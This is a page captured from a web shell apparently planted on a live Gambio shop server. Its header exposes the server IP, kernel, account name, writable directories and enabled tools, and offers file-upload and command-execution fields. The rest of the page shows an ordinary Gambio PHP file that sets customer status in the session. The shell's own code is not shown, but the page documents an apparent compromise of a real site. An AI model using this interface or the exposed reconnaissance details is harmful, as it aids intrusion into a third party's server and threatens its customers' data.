403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at//includes/write_customers_status.php
<?php
/* --------------------------------------------------------------
   write_customers_status.php 2018-07-19
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2018 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

require_once DIR_FS_INC . 'update_customer_b2b_status.inc.php';

$db = StaticGXCoreLoader::getDatabaseQueryBuilder();

// write customers status in session
if (isset($_SESSION['customer_id']))
{
    $customerStatusQuery1 = $db->select('c.customers_status, a.customer_b2b_status')
        ->from('customers c')
        ->join('address_book a', 'a.address_book_id = c.customers_default_address_id')
        ->where('c.customers_id', $_SESSION['customer_id'])
        ->get();
    $customersStatusValue1 = $customerStatusQuery1->row_array();

    if($customerStatusQuery1->num_rows() === 1)
    {
        $customersStatusQuery = $db->get_where(
            'customers_status',
            [
                'customers_status_id' => (int)$customersStatusValue1['customers_status'],
                'language_id' => (int)$_SESSION['languages_id'],
            ]
        );
        $customersStatusValue = $customersStatusQuery->row_array();
        
        $_SESSION['customers_status'] = [
            'customers_status_id'                  => $customersStatusValue1['customers_status'],
            'customers_status_name'                => $customersStatusValue['customers_status_name'],
            'customers_status_image'               => (string)$customersStatusValue['customers_status_image'],
            'customers_status_public'              => $customersStatusValue['customers_status_public'],
            'customers_status_min_order'           => (double)$customersStatusValue['customers_status_min_order'],
            'customers_status_max_order'           => (double)$customersStatusValue['customers_status_max_order'],
            'customers_status_discount'            => $customersStatusValue['customers_status_discount'],
            'customers_status_ot_discount_flag'    => $customersStatusValue['customers_status_ot_discount_flag'],
            'customers_status_ot_discount'         => $customersStatusValue['customers_status_ot_discount'],
            'customers_status_graduated_prices'    => $customersStatusValue['customers_status_graduated_prices'],
            'customers_status_show_price'          => $customersStatusValue['customers_status_show_price'],
            'customers_status_show_price_tax'      => $customersStatusValue['customers_status_show_price_tax'],
            'customers_status_add_tax_ot'          => $customersStatusValue['customers_status_add_tax_ot'],
            'customers_status_payment_unallowed'   => $customersStatusValue['customers_status_payment_unallowed'],
            'customers_status_shipping_unallowed'  => $customersStatusValue['customers_status_shipping_unallowed'],
            'customers_status_discount_attributes' => $customersStatusValue['customers_status_discount_attributes'],
            'customers_fsk18_purchasable'          => $customersStatusValue['customers_fsk18_purchasable'],
            'customers_fsk18_display'              => $customersStatusValue['customers_fsk18_display'],
            'customers_status_write_reviews'       => $customersStatusValue['customers_status_write_reviews'],
            'customers_status_read_reviews'        => $customersStatusValue['customers_status_read_reviews'],
        ];
        
        if(!isset($_SESSION['customer_b2b_status']))
        {
            update_customer_b2b_status($customersStatusValue1['customer_b2b_status']);
        }
    }
    else // (int)xtc_db_num_rows($customers_status_query_1) !== 1
    {
        if (!StyleEditServiceFactory::service()->isEditing())
        {
            xtc_session_destroy();
        }
    
        unset(
            $_SESSION['customer_id'],
            $_SESSION['customer_default_address_id'],
            $_SESSION['customer_first_name'],
            $_SESSION['customer_country_id'],
            $_SESSION['customer_zone_id'],
            $_SESSION['comments'],
            $_SESSION['user_info'],
            $_SESSION['customers_status'],
            $_SESSION['selected_box'],
            $_SESSION['shipping'],
            $_SESSION['payment'],
            $_SESSION['ccard'],
            $_SESSION['gv_id'],
            $_SESSION['cc_id']
        );
        $_SESSION['cart']->reset();
        
        $customersStatusQuery = $db->get_where(
            'customers_status',
            [
                'customers_status_id' => DEFAULT_CUSTOMERS_STATUS_ID_GUEST,
                'language_id' => (int)$_SESSION['languages_id'],
            ]
        );
        $customersStatusValue = $customersStatusQuery->row_array();
    
        $_SESSION['customers_status'] = [
            'customers_status_id'                  => DEFAULT_CUSTOMERS_STATUS_ID_GUEST,
            'customers_status_name'                => $customersStatusValue['customers_status_name'],
            'customers_status_image'               => $customersStatusValue['customers_status_image'],
            'customers_status_discount'            => $customersStatusValue['customers_status_discount'],
            'customers_status_public'              => $customersStatusValue['customers_status_public'],
            'customers_status_min_order'           => (double)$customersStatusValue['customers_status_min_order'],
            'customers_status_max_order'           => (double)$customersStatusValue['customers_status_max_order'],
            'customers_status_ot_discount_flag'    => $customersStatusValue['customers_status_ot_discount_flag'],
            'customers_status_ot_discount'         => $customersStatusValue['customers_status_ot_discount'],
            'customers_status_graduated_prices'    => $customersStatusValue['customers_status_graduated_prices'],
            'customers_status_show_price'          => $customersStatusValue['customers_status_show_price'],
            'customers_status_show_price_tax'      => $customersStatusValue['customers_status_show_price_tax'],
            'customers_status_add_tax_ot'          => $customersStatusValue['customers_status_add_tax_ot'],
            'customers_status_payment_unallowed'   => $customersStatusValue['customers_status_payment_unallowed'],
            'customers_status_shipping_unallowed'  => $customersStatusValue['customers_status_shipping_unallowed'],
            'customers_status_discount_attributes' => $customersStatusValue['customers_status_discount_attributes'],
            'customers_fsk18_purchasable'          => $customersStatusValue['customers_fsk18_purchasable'],
            'customers_fsk18_display'              => $customersStatusValue['customers_fsk18_display'],
            'customers_status_write_reviews'       => $customersStatusValue['customers_status_write_reviews'],
            'customers_status_read_reviews'        => $customersStatusValue['customers_status_read_reviews'],
        ];
        
        update_customer_b2b_status('0');
    }
}
else // isset($_SESSION['customer_id']) === false
{
    $customersStatusQuery = $db->get_where(
        'customers_status',
        [
            'customers_status_id' => DEFAULT_CUSTOMERS_STATUS_ID_GUEST,
            'language_id' => (int)$_SESSION['languages_id'],
        ]
    );
    $customersStatusValue = $customersStatusQuery->row_array();
    
    $_SESSION['customers_status'] = [
        'customers_status_id'                  => DEFAULT_CUSTOMERS_STATUS_ID_GUEST,
        'customers_status_name'                => $customersStatusValue['customers_status_name'],
        'customers_status_image'               => $customersStatusValue['customers_status_image'],
        'customers_status_discount'            => $customersStatusValue['customers_status_discount'],
        'customers_status_public'              => $customersStatusValue['customers_status_public'],
        'customers_status_min_order'           => (double)$customersStatusValue['customers_status_min_order'],
        'customers_status_max_order'           => (double)$customersStatusValue['customers_status_max_order'],
        'customers_status_ot_discount_flag'    => $customersStatusValue['customers_status_ot_discount_flag'],
        'customers_status_ot_discount'         => $customersStatusValue['customers_status_ot_discount'],
        'customers_status_graduated_prices'    => $customersStatusValue['customers_status_graduated_prices'],
        'customers_status_show_price'          => $customersStatusValue['customers_status_show_price'],
        'customers_status_show_price_tax'      => $customersStatusValue['customers_status_show_price_tax'],
        'customers_status_add_tax_ot'          => $customersStatusValue['customers_status_add_tax_ot'],
        'customers_status_payment_unallowed'   => $customersStatusValue['customers_status_payment_unallowed'],
        'customers_status_shipping_unallowed'  => $customersStatusValue['customers_status_shipping_unallowed'],
        'customers_status_discount_attributes' => $customersStatusValue['customers_status_discount_attributes'],
        'customers_fsk18_purchasable'          => $customersStatusValue['customers_fsk18_purchasable'],
        'customers_fsk18_display'              => $customersStatusValue['customers_fsk18_display'],
        'customers_status_write_reviews'       => $customersStatusValue['customers_status_write_reviews'],
        'customers_status_read_reviews'        => $customersStatusValue['customers_status_read_reviews'],
    ];
    
    update_customer_b2b_status('0');
}

unset($db);

if(!isset ($_SESSION['customer_country_id']))
{
    $_SESSION['customer_country_id'] = STORE_COUNTRY;
    $_SESSION['customer_zone_id'] = STORE_ZONE;
}


Youez - 2016 - github.com/yon3zu
LinuXploit